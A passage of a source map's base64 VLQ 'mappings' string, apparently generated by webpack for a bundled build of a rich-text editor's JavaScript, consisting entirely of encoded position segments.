e,CAACvlC,IAA5B;AAEA,iBAAKolC,QAAL,CAAc7vB,IAAd;AACA,iBAAK0kB,aAAL,GAAqBI,SAArB;AACA,iBAAKuP,KAAL,CAAW9uC,OAAX,CAAmB,UAAC2uC,IAAD,EAAO3gC,GAAP,EAAe;AAChC,kBAAI2gC,IAAI,CAACz2B,KAAL,CAAW7P,IAAX,CAAgB+2B,OAAhB,CAAJ,EAA8B;AAC5B,sBAAI,CAACkR,WAAL,CAAiBtiC,GAAjB,EAAsBoxB,OAAtB,EAA+B1Y,QAA/B,CAAwC,MAAI,CAAC6jB,QAA7C;AACD;AACF,aAJD,EANO,CAWP;;AACA,iBAAKA,QAAL,CAAcxqC,IAAd,CAAmB,uBAAnB,EAA4CT,QAA5C,CAAqD,QAArD,EAZO,CAcP;;AACA,gBAAI,KAAKsvC,SAAL,KAAmB,KAAvB,EAA8B;AAC5B,mBAAKtE,QAAL,CAAc9jB,GAAd,CAAkB;AAChBthB,oBAAI,EAAEmrC,GAAG,CAACnrC,IADM;AAEhByG,mBAAG,EAAE0kC,GAAG,CAAC1kC,GAAJ,GAAU,KAAK2+B,QAAL,CAAc3xB,WAAd,EAAV,GAAwC81B;AAF7B,eAAlB;AAID,aALD,MAKO;AACL,mBAAKnE,QAAL,CAAc9jB,GAAd,CAAkB;AAChBthB,oBAAI,EAAEmrC,GAAG,CAACnrC,IADM;AAEhByG,mBAAG,EAAE0kC,GAAG,CAAC1kC,GAAJ,GAAU0kC,GAAG,CAACpvC,MAAd,GAAuBwtC;AAFZ,eAAlB;AAID;AACF;AACF,SAhCD,MAgCO;AACL,eAAKh0B,IAAL;AACD;AACF;AACF;;;2BAEM;AACL,WAAK6vB,QAAL,CAAc9S,IAAd;AACD;;;2BAEM;AACL,WAAK8S,QAAL,CAAc7vB,IAAd;AACD;;;;;;;;AC7QH;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AAEAvb,0EAAC,CAACuB,UAAF,GAAevB,0EAAC,CAACyB,MAAF,CAASzB,0EAAC,CAACuB,UAAX,EAAuB;AACpC8vC,SAAO,EAAE,SAD2B;AAEpCl1B,SAAO,EAAE,EAF2B;AAIpCL,KAAG,EAAEA,GAJ+B;AAKpC+L,OAAK,EAAEA,KAL6B;AAMpCtiB,OAAK,EAAEA,KAN6B;AAQpC3F,SAAO,EAAE;AACPqe,YAAQ,EAAEje,0EAAC,CAACuB,UAAF,CAAaC,IAAb,CAAkB,OAAlB,CADH;AAEPqb,WAAO,EAAE,IAFF;AAGP7B,WAAO,EAAE;AACP,gBAAU4X,aADH;AAEP,mBAAaoH,mBAFN;AAGP,kBAAYS,iBAHL;AAIP,kBAAY6W,iBAJL;AAKP,mBAAa7T,mBALN;AAMP,oBAAcU,qBANP;AAOP,gBAAUU,aAPH;AAQP;AACA;AACA,qBAAe2Q,uBAVR;AAWP,kBAAY1P,iBAXL;AAYP,kBAAYS,iBAZL;AAaP,qBAAeC,uBAbR;AAcP,qBAAeS,uBAdR;AAeP,iBAAWI,eAfJ;AAgBP,iBAAW0G,eAhBJ;AAiBP,oBAAcsB,qBAjBP;AAkBP,qBAAe6B,uBAlBR;AAmBP,qBAAeM,uBAnBR;AAoBP,sBAAgBY,yBApBT;AAqBP,sBAAgBE,yBArBT;AAsBP,qBAAeC,uBAtBR;AAuBP,oBAAcoC,qBAvBP;AAwBP,oBAAcO,qBAAUA;AAxBjB,KAHF;AA8BPhzB,WAAO,EAAE,EA9BF;AAgCP1a,QAAI,EAAE,OAhCC;AAkCP4mC,oBAAgB,EAAE,KAlCX;AAmCPmJ,mBAAe,EAAE,KAnCV;AAoCP7I,kBAAc,EAAE,EApCT;AAsCP;AACArK,WAAO,EAAE,CACP,CAAC,OAAD,EAAU,CAAC,OAAD,CAAV,CADO,EAEP,CAAC,MAAD,EAAS,CAAC,MAAD,EAAS,WAAT,EAAsB,OAAtB,CAAT,CAFO,EAGP,CAAC,UAAD,EAAa,CAAC,UAAD,CAAb,CAHO,EAIP,CAAC,OAAD,EAAU,CAAC,OAAD,CAAV,CAJO,EAKP,CAAC,MAAD,EAAS,CAAC,IAAD,EAAO,IAAP,EAAa,WAAb,CAAT,CALO,EAMP,CAAC,OAAD,EAAU,CAAC,OAAD,CAAV,CANO,EAOP,CAAC,QAAD,EAAW,CAAC,MAAD,EAAS,SAAT,EAAoB,OAApB,CAAX,CAPO,EAQP,CAAC,MAAD,EAAS,CAAC,YAAD,EAAe,UAAf,EAA2B,MAA3B,CAAT,CARO,CAvCF;AAkDP;AACAgO,cAAU,EAAE,IAnDL;AAoDPlB,WAAO,EAAE;AACP7oC,WAAK,EAAE,CACL,CAAC,QAAD,EAAW,CAAC,YAAD,EAAe,YAAf,EAA6B,eAA7B,EAA8C,YAA9C,CAAX,CADK,EAEL,CAAC,OAAD,EAAU,CAAC,WAAD,EAAc,YAAd,EAA4B,WAA5B,CAAV,CAFK,EAGL,CAAC,QAAD,EAAW,CAAC,aAAD,CAAX,CAHK,CADA;AAMPwB,UAAI,EAAE,CACJ,CAAC,MAAD,EAAS,CAAC,gBAAD,EAAmB,QAAnB,CAAT,CADI,CANC;AASPM,WAAK,EAAE,CACL,CAAC,KAAD,EAAQ,CAAC,YAAD,EAAe,UAAf,EAA2B,YAA3B,EAAyC,aAAzC,CAAR,CADK,EAEL,CAAC,QAAD,EAAW,CAAC,WAAD,EAAc,WAAd,EAA2B,aAA3B,CAAX,CAFK,CATA;AAaPirC,SAAG,EAAE,CACH,CAAC,OAAD,EAAU,CAAC,OAAD,CAAV,CADG,EAEH,CAAC,MAAD,EAAS,CAAC,MAAD,EAAS,WAAT,EAAsB,OAAtB,CAAT,CAFG,EAGH,CAAC,MAAD,EAAS,CAAC,IAAD,EAAO,WAAP,CAAT,CAHG,EAIH,CAAC,OAAD,EAAU,CAAC,OAAD,CAAV,CAJG,EAKH,CAAC,QAAD,EAAW,CAAC,MAAD,EAAS,SAAT,CAAX,CALG,EAMH,CAAC,MAAD,EAAS,CAAC,YAAD,EAAe,UAAf,CAAT,CANG;AAbE,KApDF;AA2EP;AACAzY,WAAO,EAAE,KA5EF;AA6EPC,uBAAmB,EAAE,KA7Ed;AA6EqB;AAE5B9tB,SAAK,EAAE,IA/EA;AAgFPhH,UAAM,EAAE,IAhFD;AAiFPq+B,mBAAe,EAAE,IAjFV;AAkFPj8B,eAAW,EAAE,IAlFN;AAmFPixB,mBAAe,EAAE,SAnFV;AAqFP9W,SAAK,EAAE,KArFA;AAsFPkzB,eAAW,EAAE,KAtFN;AAuFPxZ,WAAO,EAAE,CAvFF;AAwFPH,gBAAY,EAAE,KAxFP;AAyFP9wB,aAAS,EAAE,IAzFJ;AA0FP0qC,oBAAgB,EAAE,IA1FX;AA2FPtzB,WAAO,EAAE,MA3FF;AA4FPrG,aAAS,EAAE,IA5FJ;AA6FP4f,iBAAa,EAAE,CA7FR;AA8FP/L,2BAAuB,EAAE,CA9FlB;AA+FP+K,cAAU,EAAE,IA/FL;AAgGPC,kBAAc,EAAE,KAhGT;AAiGPrd,eAAW,EAAE,IAjGN;AAkGP4nB,sBAAkB,EAAE,KAlGb;AAmGP;AACAzK,wBAAoB,EAAE,KApGf;AAqGPtO,gBAAY,EAAE,GArGP;AAuGP;AACA4oB,YAAQ,EAAE,MAxGH;AAyGPP,cAAU,EAAE,OAzGL;AA0GPb,iBAAa,EAAE,QA1GR;AA4GPrM,aAAS,EAAE,CAAC,GAAD,EAAM,YAAN,EAAoB,KAApB,EAA2B,IAA3B,EAAiC,IAAjC,EAAuC,IAAvC,EAA6C,IAA7C,EAAmD,IAAnD,EAAyD,IAAzD,CA5GJ;AA8GPW,aAAS,EAAE,CACT,OADS,EACA,aADA,EACe,eADf,EACgC,aADhC,EAET,gBAFS,EAES,WAFT,EAEsB,QAFtB,EAEgC,eAFhC,EAGT,QAHS,EAGC,iBAHD,EAGoB,SAHpB,CA9GJ;AAmHPlC,wBAAoB,EAAE,EAnHf;AAoHP+B,mBAAe,EAAE,IApHV;AAsHPO,aAAS,EAAE,CAAC,GAAD,EAAM,GAAN,EAAW,IAAX,EAAiB,IAAjB,EAAuB,IAAvB,EAA6B,IAA7B,EAAmC,IAAnC,EAAyC,IAAzC,EAA+C,IAA/C,CAtHJ;AAwHPC,iBAAa,EAAE,CAAC,IAAD,EAAO,IAAP,CAxHR;AA0HP;AACA3B,UAAM,EAAE,CACN,CAAC,SAAD,EAAY,SAAZ,EAAuB,SAAvB,EAAkC,SAAlC,EAA6C,SAA7C,EAAwD,SAAxD,EAAmE,SAAnE,EAA8E,SAA9E,CADM,EAEN,CAAC,SAAD,EAAY,SAAZ,EAAuB,SAAvB,EAAkC,SAAlC,EAA6C,SAA7C,EAAwD,SAAxD,EAAmE,SAAnE,EAA8E,SAA9E,CAFM,EAGN,CAAC,SAAD,EAAY,SAAZ,EAAuB,SAAvB,EAAkC,SAAlC,EAA6C,SAA7C,EAAwD,SAAxD,EAAmE,SAAnE,EAA8E,SAA9E,CAHM,EAIN,CAAC,SAAD,EAAY,SAAZ,EAAuB,SAAvB,EAAkC,SAAlC,EAA6C,SAA7C,EAAwD,SAAxD,EAAmE,SAAnE,EAA8E,SAA9E,CAJM,EAKN,CAAC,SAAD,EAAY,SAAZ,EAAuB,SAAvB,EAAkC,SAAlC,EAA6C,SAA7C,EAAwD,SAAxD,EAAmE,SAAnE,EAA8E,SAA9E,CALM,EAMN,CAAC,SAAD,EAAY,SAAZ,EAAuB,SAAvB,EAAkC,SAAlC,EAA6C,SAA7C,EAAwD,SAAxD,EAAmE,SAAnE,EAA8E,SAA9E,CANM,EAON,CAAC,SAAD,EAAY,SAAZ,EAAuB,SAAvB,EAAkC,SAAlC,EAA6C,SAA7C,EAAwD,SAAxD,EAAmE,SAAnE,EAA8E,SAA9E,CAPM,EAQN,CAAC,SAAD,EAAY,SAAZ,EAAuB,SAAvB,EAAkC,SAAlC,EAA6C,SAA7C,EAAwD,SAAxD,EAAmE,SAAnE,EAA8E,SAA9E,CARM,CA3HD;AAsIP;AACAC,cAAU,EAAE,CACV,CAAC,OAAD,EAAU,SAAV,EAAqB,WAArB,EAAkC,WAAlC,EAA+C,YAA/C,EAA6D,SAA7D,EAAwE,WAAxE,EAAqF,OAArF,CADU,EAEV,CAAC,KAAD,EAAQ,aAAR,EAAuB,QAAvB,EAAiC,OAAjC,EAA0C,MAA1C,EAAkD,MAAlD,EAA0D,iBAA1D,EAA6E,SAA7E,CAFU,EAGV,CAAC,QAAD,EAAW,OAAX,EAAoB,WAApB,EAAiC,OAAjC,EAA0C,YAA1C,EAAwD,eAAxD,EAAyE,SAAzE,EAAoF,UAApF,CAHU,EAIV,CAAC,YAAD,EAAe,cAAf,EAA+B,cAA/B,EAA+C,QAA/C,EAAyD,QAAzD,EAAmE,QAAnE,EAA6E,aAA7E,EAA4F,aAA5F,CAJU,EAKV,CAAC,OAAD,EAAU,OAAV,EAAmB,WAAnB,EAAgC,SAAhC,EAA2C,aAA3C,EAA0D,QAA1D,EAAoE,iBAApE,EAAuF,MAAvF,CALU,EAMV,CAAC,eAAD,EAAkB,WAAlB,EAA+B,cAA/B,EAA+C,kBAA/C,EAAmE,YAAnE,EAAiF,aAAjF,EAAgG,gBAAhG,EAAkH,UAAlH,CANU,EAOV,CAAC,SAAD,EAAY,SAAZ,EAAuB,aAAvB,EAAsC,cAAtC,EAAsD,MAAtD,EAA8D,aAA9D,EAA6E,WAA7E,EAA0F,QAA1F,CAPU,EAQV,CAAC,UAAD,EAAa,UAAb,EAAyB,OAAzB,EAAkC,SAAlC,EAA6C,OAA7C,EAAsD,eAAtD,EAAuE,WAAvE,EAAoF,QAApF,CARU,CAvIL;AAkJPP,eAAW,EAAE;AACX3M,eAAS,EAAE,SADA;AAEXC,eAAS,EAAE;AAFA,KAlJN;AAuJPwP,eAAW,EAAE,CAAC,KAAD,EAAQ,KAAR,EAAe,KAAf,EAAsB,KAAtB,EAA6B,KAA7B,EAAoC,KAApC,EAA2C,KAA3C,EAAkD,KAAlD,CAvJN;AAyJPzS,kBAAc,EAAE,sBAzJT;AA2JP2S,sBAAkB,EAAE;AAClBC,SAAG,EAAE,EADa;AAElB7X,SAAG,EAAE;AAFa,KA3Jb;AAgKP;AACA8b,iBAAa,EAAE,KAjKR;AAkKPS,eAAW,EAAE,KAlKN;AAoKPvR,wBAAoB,EAAE,IApKf;AAsKP3b,aAAS,EAAE;AACT40B,qBAAe,EAAE,IADR;AAETC,YAAM,EAAE,IAFC;AAGTC,oBAAc,EAAE,IAHP;AAITC,cAAQ,EAAE,IAJD;AAKTC,sBAAgB,EAAE,IALT;AAMTtH,mBAAa,EAAE,IANN;AAOTuH,aAAO,EAAE,IAPA;AAQTC,aAAO,EAAE,IARA;AASTjG,uBAAiB,EAAE,IATV;AAUTpT,mBAAa,EAAE,IAVN;AAWTsZ,wBAAkB,EAAE,IAXX;AAYTC,YAAM,EAAE,IAZC;AAaTC,eAAS,EAAE,IAbF;AAcTC,aAAO,EAAE,IAdA;AAeTC,iBAAW,EAAE,IAfJ;AAgBTC,eAAS,EAAE,IAhBF;AAiBTC,aAAO,EAAE,IAjBA;AAkBTC,cAAQ,EAAE;AAlBD,KAtKJ;AA2LP5V,cAAU,EAAE;AACV6V,UAAI,EAAE,WADI;AAEVC,cAAQ,EAAE,IAFA;AAGVC,iBAAW,EAAE;AAHH,KA3LL;AAiMP1W,kBAAc,EAAE,KAjMT;AAkMPC,uBAAmB,EAAE,yIAlMd;AAmMPC,wBAAoB,EAAE,IAnMf;AAoMPE,8BAA0B,EAAE,EApMrB;AAqMPC,kCAA8B,EAAE,CAC9B,iBAD8B,EAE9B,0BAF8B,EAG9B,kBAH8B,EAI9B,SAJ8B,EAK9B,eAL8B,EAM9B,kBAN8B,EAO9B,qBAP8B,EAQ9B,kBAR8B,EAS9B,UAT8B,CArMzB;AAiNPrF,UAAM,EAAE;AACN2b,QAAE,EAAE;AACF,iBAAS,iBADP;AAEF,kBAAU,MAFR;AAGF,kBAAU,MAHR;AAIF,eAAO,KAJL;AAKF,qBAAa,OALX;AAMF,kBAAU,MANR;AAOF,kBAAU,QAPR;AAQF,kBAAU,WARR;AASF,wBAAgB,eATd;AAUF,0BAAkB,cAVhB;AAWF,wBAAgB,aAXd;AAYF,wBAAgB,eAZd;AAaF,wBAAgB,cAbd;AAcF,wBAAgB,aAdd;AAeF,2BAAmB,qBAfjB;AAgBF,2BAAmB,mBAhBjB;AAiBF,4BAAoB,SAjBlB;AAkBF,6BAAqB,QAlBnB;AAmBF,qBAAa,YAnBX;AAoBF,qBAAa,UApBX;AAqBF,qBAAa,UArBX;AAsBF,qBAAa,UAtBX;AAuBF,qBAAa,UAvBX;AAwBF,qBAAa,UAxBX;AAyBF,qBAAa,UAzBX;AA0BF,sBAAc,sBA1BZ;AA2BF,kBAAU;AA3BR,OADE;AA+BNC,SAAG,EAAE;AACH,iBAAS,iBADN;AAEH,iBAAS,MAFN;AAGH,uBAAe,MAHZ;AAIH,eAAO,KAJJ;AAKH,qBAAa,OALV;AAMH,iBAAS,MANN;AAOH,iBAAS,QAPN;AAQH,iBAAS,WARN;AASH,uBAAe,eATZ;AAUH,yBAAiB,cAVd;AAWH,uBAAe,aAXZ;AAYH,uBAAe,eAZZ;AAaH,uBAAe,cAbZ;AAcH,uBAAe,aAdZ;AAeH,0BAAkB,qBAff;AAgBH,0BAAkB,mBAhBf;AAiBH,2BAAmB,SAjBhB;AAkBH,4BAAoB,QAlBjB;AAmBH,oBAAY,YAnBT;AAoBH,oBAAY,UApBT;AAqBH,oBAAY,UArBT;AAsBH,oBAAY,UAtBT;AAuBH,oBAAY,UAvBT;AAwBH,oBAAY,UAxBT;AAyBH,oBAAY,UAzBT;AA0BH,qBAAa,sBA1BV;AA2BH,iBAAS;AA3BN;AA/BC,KAjND;AA8QP30B,SAAK,EAAE;AACL,eAAS,iBADJ;AAEL,qBAAe,wBAFV;AAGL,sBAAgB,yBAHX;AAIL,mBAAa,sBAJR;AAKL,oBAAc,uBALT;AAML,kBAAY,qBANP;AAOL,mBAAa,sBAPR;AAQL,kBAAY,qBARP;AASL,kBAAY,qBATP;AAUL,mBAAa,sBAVR;AAWL,mBAAa,sBAXR;AAYL,gBAAU,wBAZL;AAaL,iBAAW,yBAbN;AAcL,mBAAa,sBAdR;AAeL,cAAQ,gBAfH;AAgBL,eAAS,iBAhBJ;AAiBL,gBAAU,kBAjBL;AAkBL,eAAS,iBAlBJ;AAmBL,cAAQ,gBAnBH;AAoBL,gBAAU,kBApBL;AAqBL,mBAAa,sBArBR;AAsBL,oBAAc,uBAtBT;AAuBL,cAAQ,gBAvBH;AAwBL,eAAS,iBAxBJ;AAyBL,gBAAU,kBAzBL;AA0BL,cAAQ,gBA1BH;AA2BL,gBAAU,wBA3BL;AA4BL,eAAS,iBA5BJ;AA6BL,mBAAa,sBA7BR;AA8BL,eAAS,iBA9BJ;AA+BL,qBAAe,uBA/BV;AAgCL,gBAAU,kBAhCL;AAiCL,iBAAW,mBAjCN;AAkCL,kBAAY,oBAlCP;AAmCL,cAAQ,gBAnCH;AAoCL,kBAAY,oBApCP;AAqCL,gBAAU,kBArCL;AAsCL,uBAAiB,yBAtCZ;AAuCL,mBAAa,qBAvCR;AAwCL,qBAAe,uBAxCV;AAyCL,eAAS,iBAzCJ;AA0CL,oBAAc,uBA1CT;AA2CL,eAAS,iBA3CJ;AA4CL,mBAAa,qBA5CR;AA6CL,cAAQ,gBA7CH;AA8CL,uBAAiB,yBA9CZ;AA+CL,eAAS;AA/CJ;AA9QA;AAR2B,CAAvB,CAAf,C;;;;;;;AC7BA,uC;;;;;;;;;;;;;;;;;;;;ACAA;AACA;AAEA,IAAMjC,MAAM,GAAG62B,2BAAQ,CAAC3xC,MAAT,CAAgB,4CAAhB,CAAf;AACA,IAAMk9B,OAAO,GAAGyU,2BAAQ,CAAC3xC,MAAT,CAAgB,6DAAhB,CAAhB;AACA,IAAM49B,WAAW,GAAG+T,2BAAQ,CAAC3xC,MAAT,CAAgB,kCAAhB,CAApB;AACA,IAAMwb,OAAO,GAAGm2B,2BAAQ,CAAC3xC,MAAT,CAAgB,wDAAhB,CAAhB;AACA,IAAMyb,QAAQ,GAAGk2B,2BAAQ,CAAC3xC,MAAT,CAAgB,qGAAhB,CAAjB;AACA,IAAMw8B,SAAS,GAAGmV,2BAAQ,CAAC3xC,MAAT,CAAgB,CAChC,uEADgC,EAEhC,4CAFgC,EAG9B,iEAH8B,EAI9B,kDAJ8B,EAK5B,8BAL4B,EAM5B,8BAN4B,EAO5B,8BAP4B,EAQ9B,QAR8B,EAShC,QATgC,EAUhCuM,IAVgC,CAU3B,EAV2B,CAAhB,CAAlB;AAYA,IAAMqlC,SAAS,GAAGD,2BAAQ,CAAC3xC,MAAT,CAAgB,0CAAhB,CAAlB;AACA,IAAM6xC,WAAW,GAAGF,2BAAQ,CAAC3xC,MAAT,CAAgB,CAClC,0FADkC,EAElC,uEAFkC,EAGlCuM,IAHkC,CAG7B,EAH6B,CAAhB,CAApB;AAKA,IAAMs0B,WAAW,GAAG8Q,2BAAQ,CAAC3xC,MAAT,CAAgB,wCAAhB,CAApB;AAEA,IAAMohC,QAAQ,GAAGuQ,2BAAQ,CAAC3xC,MAAT,CAAgB,4DAAhB,EAA8E,UAASpB,KAAT,EAAgBH,OAAhB,EAAyB;AACtH,MAAMF,MAAM,GAAG2B,KAAK,CAACC,OAAN,CAAc1B,OAAO,CAACy6B,KAAtB,IAA+Bz6B,OAAO,CAACy6B,KAAR,CAAc9sB,GAAd,CAAkB,UAAS5B,IAAT,EAAe;AAC7E,QAAMgN,KAAK,GAAI,OAAOhN,IAAP,KAAgB,QAAjB,GAA6BA,IAA7B,GAAqCA,IAAI,CAACgN,KAAL,IAAc,EAAjE;AACA,QAAM+iB,OAAO,GAAG97B,OAAO,CAAC4jC,QAAR,GAAmB5jC,OAAO,CAAC4jC,QAAR,CAAiB73B,IAAjB,CAAnB,GAA4CA,IAA5D;AACA,QAAMsnC,MAAM,GAAI,QAAOtnC,IAAP,MAAgB,QAAjB,GAA6BA,IAAI,CAACsnC,MAAlC,GAA2Cv2B,SAA1D;AAEA,QAAMw2B,SAAS,GAAG,iBAAiBv6B,KAAjB,GAAyB,GAA3C;AACA,QAAMw6B,UAAU,GAAIF,MAAM,KAAKv2B,SAAZ,GAAyB,mBAAmBu2B,MAAnB,GAA4B,GAArD,GAA2D,EAA9E;AACA,WAAO,wCAAwCC,SAAS,GAAGC,UAApD,IAAkE,+BAAlE,GAAoGx6B,KAApG,GAA4G,IAA5G,GAAmH+iB,OAAnH,GAA6H,MAApI;AACD,GAR6C,EAQ3ChuB,IAR2C,CAQtC,EARsC,CAA/B,GAQD9N,OAAO,CAACy6B,KARtB;AAUAt6B,OAAK,CAACG,IAAN,CAAWR,MAAX,EAAmBe,IAAnB,CAAwB;AAAE,kBAAcb,OAAO,CAAC2jC;AAAxB,GAAxB;AACD,CAZgB,CAAjB;;AAcA,IAAMjB,sBAAsB,GAAG,SAAzBA,sBAAyB,CAASriC,QAAT,EAAmB;AAChD,SAAOA,QAAP;AACD,CAFD;;AAIA,IAAMikC,aAAa,GAAG4O,2BAAQ,CAAC3xC,MAAT,CAAgB,uEAAhB,EAAyF,UAASpB,KAAT,EAAgBH,OAAhB,EAAyB;AACtI,MAAMF,MAAM,GAAG2B,KAAK,CAACC,OAAN,CAAc1B,OAAO,CAACy6B,KAAtB,IAA+Bz6B,OAAO,CAACy6B,KAAR,CAAc9sB,GAAd,CAAkB,UAAS5B,IAAT,EAAe;AAC7E,QAAMgN,KAAK,GAAI,OAAOhN,IAAP,KAAgB,QAAjB,GAA6BA,IAA7B,GAAqCA,IAAI,CAACgN,KAAL,IAAc,EAAjE;AACA,QAAM+iB,OAAO,GAAG97B,OAAO,CAAC4jC,QAAR,GAAmB5jC,OAAO,CAAC4jC,QAAR,CAAiB73B,IAAjB,CAAnB,GAA4CA,IAA5D;AACA,WAAO,mDAAmDgN,KAAnD,GAA2D,gCAA3D,GAA8FhN,IAA9F,GAAqG,IAArG,GAA4Gs2B,IAAI,CAACriC,OAAO,CAACukC,cAAT,CAAhH,GAA2I,GAA3I,GAAiJzI,OAAjJ,GAA2J,MAAlK;AACD,GAJ6C,EAI3ChuB,IAJ2C,CAItC,EAJsC,CAA/B,GAID9N,OAAO,CAACy6B,KAJtB;AAKAt6B,OAAK,CAACG,IAAN,CAAWR,MAAX,EAAmBe,IAAnB,CAAwB;AAAE,kBAAcb,OAAO,CAAC2jC;AAAxB,GAAxB;AACD,CAPqB,CAAtB;AASA,IAAMuG,MAAM,GAAGgJ,2BAAQ,CAAC3xC,MAAT,CAAgB,iFAAhB,EAAmG,UAASpB,KAAT,EAAgBH,OAAhB,EAAyB;AACzI,MAAIA,OAAO,CAACmqC,IAAZ,EAAkB;AAChBhqC,SAAK,CAACK,QAAN,CAAe,MAAf;AACD;;AACDL,OAAK,CAACU,IAAN,CAAW;AACT,kBAAcb,OAAO,CAAC2jC;AADb,GAAX;AAGAxjC,OAAK,CAACG,IAAN,CAAW,CACT,4BADS,EAEP,6BAFO,EAGJN,OAAO,CAAC2jC,KAAR,GAAgB,+BACf,0BADe,GACc3jC,OAAO,CAAC2jC,KADtB,GAC8B,OAD9B,GAEf,iHAFe,GAGjB,QAHC,GAGU,EANN,EAOL,6BAA6B3jC,OAAO,CAACgf,IAArC,GAA4C,QAPvC,EAQJhf,OAAO,CAACgqC,MAAR,GAAiB,+BAA+BhqC,OAAO,CAACgqC,MAAvC,GAAgD,QAAjE,GAA4E,EARxE,EASP,QATO,EAUT,QAVS,EAWTl8B,IAXS,CAWJ,EAXI,CAAX;AAYD,CAnBc,CAAf;AAqBA,IAAMy9B,OAAO,GAAG2H,2BAAQ,CAAC3xC,MAAT,CAAgB,CAC9B,uCAD8B,EAE5B,sBAF4B,EAG5B,wDAH4B,EAI9B,QAJ8B,EAK9BuM,IAL8B,CAKzB,EALyB,CAAhB,EAKJ,UAAS3N,KAAT,EAAgBH,OAAhB,EAAyB;AACnC,MAAM8vC,SAAS,GAAG,OAAO9vC,OAAO,CAAC8vC,SAAf,KAA6B,WAA7B,GAA2C9vC,OAAO,CAAC8vC,SAAnD,GAA+D,QAAjF;AAEA3vC,OAAK,CAACK,QAAN,CAAesvC,SAAf;;AAEA,MAAI9vC,OAAO,CAACkwC,SAAZ,EAAuB;AACrB/vC,SAAK,CAACc,IAAN,CAAW,QAAX,EAAqB0a,IAArB;AACD;AACF,CAbe,CAAhB;AAeA,IAAMkuB,WAAQ,GAAGqJ,2BAAQ,CAAC3xC,MAAT,CAAgB,gCAAhB,EAAkD,UAASpB,KAAT,EAAgBH,OAAhB,EAAyB;AAC1FG,OAAK,CAACG,IAAN,CAAW,CACT,qCAAqCN,OAAO,CAACyM,EAAR,GAAa,gBAAgBzM,OAAO,CAACyM,EAAxB,GAA6B,GAA1C,GAAgD,EAArF,IAA2F,GADlF,EAEP,qDAAqDzM,OAAO,CAACyM,EAAR,GAAa,eAAezM,OAAO,CAACyM,EAAvB,GAA4B,GAAzC,GAA+C,EAApG,CAFO,EAGJzM,OAAO,CAAC8pC,OAAR,GAAkB,UAAlB,GAA+B,EAH3B,EAIL,mBAAmB9pC,OAAO,CAACqY,IAAR,GAAerY,OAAO,CAACqY,IAAvB,GAA8B,EAAjD,IAAuD,GAJlD,EAKL,qBAAqBrY,OAAO,CAAC8pC,OAAR,GAAkB,MAAlB,GAA2B,OAAhD,IAA2D,KALtD,EAMP,OAAO9pC,OAAO,CAACqY,IAAR,GAAerY,OAAO,CAACqY,IAAvB,GAA8B,EAArC,IACF,UAPS,EAQTvK,IARS,CAQJ,EARI,CAAX;AASD,CAVgB,CAAjB;;AAYA,IAAMu0B,IAAI,GAAG,SAAPA,IAAO,CAASmR,aAAT,EAAwB/mB,OAAxB,EAAiC;AAC5CA,SAAO,GAAGA,OAAO,IAAI,GAArB;AACA,SAAO,MAAMA,OAAN,GAAgB,UAAhB,GAA6B+mB,aAA7B,GAA6C,KAApD;AACD,CAHD;;AAKA,IAAMl4B,KAAE,GAAG,SAALA,EAAK,CAASm4B,aAAT,EAAwB;AACjC,SAAO;AACLp3B,UAAM,EAAEA,MADH;AAELoiB,WAAO,EAAEA,OAFJ;AAGLU,eAAW,EAAEA,WAHR;AAILpiB,WAAO,EAAEA,OAJJ;AAKLC,YAAQ,EAAEA,QALL;AAML+gB,aAAS,EAAEA,SANN;AAOLoV,aAAS,EAAEA,SAPN;AAQLC,eAAW,EAAEA,WARR;AASLhR,eAAW,EAAEA,WATR;AAULO,YAAQ,EAAEA,QAVL;AAWLD,0BAAsB,EAAEA,sBAXnB;AAYL4B,iBAAa,EAAEA,aAZV;AAaL4F,UAAM,EAAEA,MAbH;AAcLqB,WAAO,EAAEA,OAdJ;AAeLlJ,QAAI,EAAEA,IAfD;AAgBLwH,YAAQ,EAAEA,WAhBL;AAiBL7pC,WAAO,EAAEyzC,aAjBJ;AAmBL3Q,WAAO,EAAE,iBAAS3iC,KAAT,EAAgBH,OAAhB,EAAyB;AAChC,aAAOkzC,2BAAQ,CAAC3xC,MAAT,CAAgB,mCAAhB,EAAqD,UAASpB,KAAT,EAAgBH,OAAhB,EAAyB;AACnF,YAAMK,QAAQ,GAAG,EAAjB;;AACA,aAAK,IAAIwtB,GAAG,GAAG,CAAV,EAAa6lB,OAAO,GAAG1zC,OAAO,CAAC+iC,MAAR,CAAe1hC,MAA3C,EAAmDwsB,GAAG,GAAG6lB,OAAzD,EAAkE7lB,GAAG,EAArE,EAAyE;AACvE,cAAM8J,SAAS,GAAG33B,OAAO,CAAC23B,SAA1B;AACA,cAAMoL,MAAM,GAAG/iC,OAAO,CAAC+iC,MAAR,CAAelV,GAAf,CAAf;AACA,cAAMmV,UAAU,GAAGhjC,OAAO,CAACgjC,UAAR,CAAmBnV,GAAnB,CAAnB;AACA,cAAMvR,OAAO,GAAG,EAAhB;;AACA,eAAK,IAAIopB,GAAG,GAAG,CAAV,EAAaiO,OAAO,GAAG5Q,MAAM,CAAC1hC,MAAnC,EAA2CqkC,GAAG,GAAGiO,OAAjD,EAA0DjO,GAAG,EAA7D,EAAiE;AAC/D,gBAAMl/B,KAAK,GAAGu8B,MAAM,CAAC2C,GAAD,CAApB;AACA,gBAAMkO,SAAS,GAAG5Q,UAAU,CAAC0C,GAAD,CAA5B;AACAppB,mBAAO,CAACpM,IAAR,CAAa,CACX,8CADW,EAEX,0BAFW,EAEiB1J,KAFjB,EAEwB,IAFxB,EAGX,cAHW,EAGKmxB,SAHL,EAGgB,IAHhB,EAIX,cAJW,EAIKnxB,KAJL,EAIY,IAJZ,EAKX,SALW,EAKAotC,SALA,EAKW,IALX,EAMX,cANW,EAMKA,SANL,EAMgB,IANhB,EAOX,8CAPW,EAQX9lC,IARW,CAQN,EARM,CAAb;AASD;;AACDzN,kBAAQ,CAAC6P,IAAT,CAAc,iCAAiCoM,OAAO,CAACxO,IAAR,CAAa,EAAb,CAAjC,GAAoD,QAAlE;AACD;;AACD3N,aAAK,CAACG,IAAN,CAAWD,QAAQ,CAACyN,IAAT,CAAc,EAAd,CAAX;;AAEA,YAAI9N,OAAO,CAACue,OAAZ,EAAqB;AACnBpe,eAAK,CAACc,IAAN,CAAW,iBAAX,EAA8Bsd,OAA9B,CAAsC;AACpCrG,qBAAS,EAAElY,OAAO,CAACkY,SAAR,IAAqBu7B,aAAa,CAACv7B,SADV;AAEpCiF,mBAAO,EAAE,OAF2B;AAGpC02B,qBAAS,EAA